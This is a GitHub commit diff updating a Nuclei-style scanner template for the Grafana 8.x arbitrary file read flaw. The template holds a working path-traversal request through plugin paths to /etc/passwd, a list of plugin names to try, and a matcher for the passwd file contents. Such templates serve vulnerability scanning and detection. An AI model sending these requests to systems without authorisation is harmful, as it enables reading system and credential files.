Skip to content

Commit

Permalink
Update grafana-file-read.yaml
Browse files Browse the repository at this point in the history
  • Loading branch information
princechaddha authored May 23, 2022
1 parent 7e0fc34 commit 428176e
Showing 1 changed file with 7 additions and 48 deletions.
55 changes: 7 additions & 48 deletions vulnerabilities/grafana/grafana-file-read.yaml
Original file line number Diff line number Diff line change
Expand Up @@ -2,72 +2,31 @@ id: grafana-file-read

info:
name: Grafana v8.x Arbitrary File Read
author: z0ne,dhiyaneshDk, jeya.seelan
author: z0ne,dhiyaneshDk,jeya.seelan,dwisiswant0
severity: high
reference:
- https://nosec.org/home/detail/4914.html
- https://github.com/jas502n/Grafana-VulnTips
- https://twitter.com/pyn3rd/status/1468138032477859841
- hhttps://github.com/grafana/grafana/security/advisories/GHSA-8pjx-jj86-j47p
- https://twitter.com/naglinagli/status/1468155313182416899
tags: grafana,lfi
remediation: The latest Grafana unpatched 0 Day LFI is now being actively exploited, it affects only Grafana 8.0+, Vulnerable companies should revoke the secrets they store at their /etc/grafana/grafana.ini ASAP as there is no official fix in the meantime.
tags: grafana,lfi,fuzz

requests:
- method: GET
path:
- "{{BaseURL}}/public/plugins/{{plugin-id}}/../../../../../../../../../../../../../../../../../../../etc/passwd"
- "{{BaseURL}}/public/plugins/{{pluginSlug}}/../../../../../../../../../../../../../../../../../../../etc/passwd"

payloads:
plugin-id:
- grafana-clock-panel
- alertlist
- graph
- elasticsearch
- dashlist
- cloudwatch
- mysql
- influxdb
- heatmap
- graphite
- prometheus
- postgres
- pluginlist
- opentsdb
- text
- table
- stackdriver
- grafana-azure-monitor-datasource
- grafana-simple-json-datasource
- annolist
- barchart
- bargauge
- candlestick
- gauge
- geomap
- gettingstarted
- histogram
- jaeger
- logs
- loki
- mssql
- news
- nodeGraph
- piechart
- stat
- state-timeline
- status-history
- tempo
- timeseries
- welcome
- zipkin
pluginSlug: helpers/wordlists/grafana-plugins.txt

threads: 50
stop-at-first-match: true
matchers-condition: and
matchers:

- type: regex
regex:
- "root:.*:0:0"
- "root:.*:0:0:"

- type: status
status:
Expand Down

0 comments on commit 428176e

Please sign in to comment.